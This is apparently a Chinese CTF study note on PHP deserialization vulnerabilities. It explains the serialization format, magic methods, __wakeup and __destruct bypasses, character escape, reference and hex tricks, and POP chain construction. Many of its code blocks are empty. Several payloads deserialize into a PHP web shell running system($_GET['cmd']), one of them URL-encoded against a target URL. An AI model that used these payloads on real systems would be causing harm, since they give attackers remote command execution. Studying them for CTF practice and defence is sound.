PHP反序列化
PHP反序列化
序列化和反序列化
序列化
利用serialize()
函数将一个对象转换为字符串形式
序列化后的字符串的格式
每一个序列化后的小段都由;
隔开, 使用{}
表示层级关系
数据类型 | 提示符 | 格式 |
---|---|---|
字符串 | s |
s:长度:”内容” |
已转义字符串 | S |
s:长度:”转义后的内容” |
整数 | i |
i:数值 |
布尔值 | b |
b:1 => true / b:0 => false |
空值 | N |
N; |
数组 | a |
a:大小:{键序列段;值序列段;<重复多次>} |
对象/类 | O |
O:类型名长度:”类型名称”:成员数:{成员名称序列段;成员值序列段:} |
引用 | R |
R:反序列化变量的序号, 从1开始 |
关于非公有字段名称:
private
:用私有的类的名称 (考虑到继承的情况) 和字段名组合 **%00类名%00成员名
**(%00
占一个字节长度)
protected
:用 *
和字段名组合 %00*%00成员名
注:注意这两个%00
就是 ascii 码为0 的字符,为不可见字符,但是url编码后就可以看见。我们可以将序列化的字符用urlencode编码之后,打印出来查看
示例
如果是直接输出对象:
1 |
|
输出:
1 | test Object ( [name] = > ikkunma [age] = > 18 ) |
如果利用serialize()
函数将这个对象进行序列化成字符串然后输出:
1 |
|
输出:
1 | O:4:"test":3:{s:4:"name";s:7:"ikkunma";s:9:"testage";s:2:"18";s:6:"*sex";s:3:"man";} |
O
表示对象4
说明对象名长度是4个字符"test"
说明这个对象名是test3
说明这个对象成员个数为3 个{...}
包含对象的所有属性
反序列化
利用unserailize()
函数将一个经过序列化的字符串还原成php代码形式
1 |
|
作用
序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等
PHP反序列化漏洞原理
CTF 里常考的反序列化漏洞,重点就是找合适的类,利用魔术方法触发漏洞
PHP常见魔术方法
__construct
构造函数,会在每次创建新对象时先调用此方法__destruct
析构函数,会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行__toString
当一个对象被当作一个字符串被调用。__wakeup()
使用unserialize时触发__sleep()
使用serialize时触发,返回一个包含对象中所有应被序列化的变量名称的数组__call()
在对象中调用一个不可访问方法时自动调用__callStatic()
用静态方式中调用一个不可访问方法时调用__get()
用于从不可访问的属性读取数据__set()
在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用__isset()
在不可访问的属性上调用isset()
或empty()
触发__unset()
在不可访问的属性上使用unset()
时触发__toString()
把类当作字符串使用时触发,返回值需要为字符串__invoke()
当脚本尝试将对象调用为函数时触发,该对象必须是直接拥有__invoke()
魔术方法的对象
我这边只讲5个魔术方法:
1 | __construct()当一个对象创建时被调用 |
使用实例:
1 |
|
输出:
1 | __construct |
原来有一个实例化出的对象,然后又反序列化出了一个对象,就存在两个对象,所以最后销毁了两个对象也就出现了执行了两次__destruct
例题
一
源码:
1 |
|
我们输入的一个变量反序列化后的值等于ikkunma
1 |
|
序列化得到:
1 | s:7:"ikkunma"; |
将序列化后的内容传入url得到flag
1 | ?str=s:7:"ikkunma"; |
二
源码:
1 | class foo { |
这串代码的意思是将读取的文件内容进行反序列化,__destruct
函数里面是生成文件,如果我们本地存在一个文件名是flag.txt
,里面的内容是
1 | O:3:"foo":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:31:"<?php system($_GET['cmd']); ?>";} |
将它进行反序列化就会生成shell.php
里面的内容为<?php system($_GET['cmd']); ?>
构造payload:?filename=flag.txt
各种绕过姿势
绕过__wakeup(CVE-2016-7124)
__wakeup()
魔术方法在执行unserialize()时,会优先调用这个函数,而不会执行__construct()
函数
条件
PHP5<5.6.25
PHP7 < 7.0.10
绕过
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup
的执行
实例
源码:
1 |
|
其序列化后为 O:4:"test":1:{s:1:"a";s:3:"abc";}
执行反序列化 unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
,得到结果为 def
,说明优先执行了 __wakeup()
此时我们要绕过 __wakeup()
:把对象的属性个数改大
O:4:"test":666:{s:1:"a";s:3:"abc";}
执行反序列化 unserialize('O:4:"test":666:{s:1:"a";s:3:"abc";}');
得到结果为 abc
, 发现并没有执行 __wakeup()
,绕过成功
绕过__destruct()
__destruct
是PHP对象的一个魔术方法,称为析构函数,顾名思义这是当该对象被销毁的时候自动执行的一个函数。其中以下情况会触发__destruct
主动调用
unset($obj)
主动调用
$obj = NULL
程序自动结束
PHP还拥有垃圾回收Garbage collection
即我们常说的GC机制
PHP中GC使用引用计数和回收周期自动管理内存对象,那么这时候当我们的对象变成了“垃圾”,就会被GC机制自动回收掉,回收过程中,就会调用函数的__destruct
当一个对象没有任何引用的时候,则会被视为“垃圾”,如:
1 | $a = new test(); //test 对象被变量a引用,所以该对象不是“垃圾” |
实例
源码:
1 |
|
这里我们要求输出 success!!
,但执行反序列化后得到的对象有了引用,给了 a
变量,后面程序接着就抛出一个异常,非正常结束,导致未正常完成 GC 机制,即没有执行 __destruct
1 | ?input=O:4:"test":0:{} //会抛出一个异常 |
所以我们要反序列化手动去 “销毁” 创造的对象,这里利用数组来完成
原理:
我们序列化一个数组对象,考虑反序列化本字符串,因为反序列化的过程是顺序执行的,所以到第一个属性时,会将
Array[0]
设置为对象,同时我们又将Array[0]
设置为null
,这样前面的test
对象便丢失了引用,就会被GC所捕获,就可以执行__destruct
了
构造:
1 | class test {} |
得到:
1 | a:2:{i:0;O:4:"test":0:{}i:1;N;} |
传入:
1 | ?input=a:2:{i:0;O:4:"test":0:{}i:0;N;} //成功得到 success!! |
绕过正则
如preg_match('/^O:\d+/')
匹配序列化字符串是否是对象字符串开头
绕过
- 利用加号绕过(注意在url里传参时+要编码为
%2B
) - 利用数组对象绕过,如
serialize(array($a));
a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)
1 |
|
字符逃逸
对于字符逃逸, 由于 PHP 序列化后的字符类型中的引号不会被转义, 对于字符串末尾靠提供的字符数量来读取, 对于服务端上将传入的字符串实际长度进行增加或减少(例如替换指定字符到更长/短的字符), 我们就可以将其溢出并我们的恶意字符串反序列化.
1 |
|
序列化为
1 | O:4:"Book":3:{s:2:"id";i:114514;s:4:"name";s:25:"Ikkunmaa 的学习笔记";s:4:"path";s:27:"Ikkunmaa 的学习笔记.md";} |
此代码会将其中的单引号 '
过滤成为\'
(长度增加 1)
我们可以构造带 '
的 name
,使 name
的实际长度比 s:25
预期的长
反序列化时,PHP仍按照 s:25
读取,但 name
变长后,会溢出到 path
,从而控制 path
的值
构造payload:
1 | O:4:"Book":3:{s:2:"id";i:114514;s:4:"name";s:25:"AAAAAAAAAAAAAAAAAAAAAAAAA'";s:4:"path";s:8:"flag.php";} |
通过post提交:
1 | POST /vuln.php HTTP/1.1 |
利用引用绕过
PHP 中的引用 (&
) 是一种特殊的机制,它使得变量指向同一个内存地址
反序列化的过程中,可以利用引用来将多个变量指向同一个对象,从而修改对象的某些属性或操作对象的行为
实例
源码:
1 |
|
要求输出 you success,但构造的序列化字符串中不能由 aaa
我们可以利用引用绕过
1 | ?input=O:4:"test":2:{s:1:"a";s:3:"aaa";s:1:"b";R:1;} |
16进制绕过字符的过滤
序列字符串中表示字符类型的s大写时,会被当成16进制解析
1 |
|
这里检测了是否包含 flag
字符, 我们可以尝试使用 flag
的十六进制 \66\6c\61\67
来绕过, 构造以下:
1 | 'O:4:"Read":1:{s:4:"name";S:4:"\66\6c\61\67";}' |
POP链构造
POP(Property-Oriented Programming)是一种基于对象属性的编程技术,通常用于PHP 反序列化漏洞的利用
当 PHP 代码使用 unserialize()
反序列化用户可控的数据时,攻击者可以通过精心构造的对象链(POP 链)触发特定的方法,实现任意代码执行(RCE)、文件读取、文件写入等攻击
例题
一
2023年 SWPU NSS 秋季招新赛 (校外赛道) - UnS3rialize
1 |
|
- 看到在
NSS
类的__invoke
下存在system
执行, 需要将NSS
类作为函数调用 - 在
C
类的__get
方法将whoami
进行调用 (这里使用了中间变量中转), 我们将其赋值为NSS
类, 我们需要找到访问非法字段的地方 - 在
T
的__toString
下访问了sth
的var
(var
非法), 我们将其赋值为C
类, 需要找到字符串调用的地方 - 在
F
中的__destruct
存在对note
字符串拼接, 将其赋值为T
, 发现需要user
和passwd
满足条件
我们构造如下反序列化链
1 |
|
二
源码:
1 |
|
构造序列化:
1 | O:1:"A":1:{s:7:"target";s:34:"<?php system($_GET[\'cmd\']); ?>";} |
payload:
1 | http://target.com/vulnerable.php?test=O%3A1%3A%22A%22%3A1%3A%7Bs%3A7%3A%22target%22%3Bs%3A34%3A%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%22%3B%7D |
当程序执行时,__destruct()
会写入 hello.php
文件
include('./hello.php')
会执行该文件
可以通过 ?cmd=
参数执行任意系统命令
1 | http://target.com/vulnerable.php?test=O%3A1%3A%22A%22%3A1%3A%7Bs%3A7%3A%22target%22%3Bs%3A34%3A%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%22%3B%7D&cmd=whoami |
参考: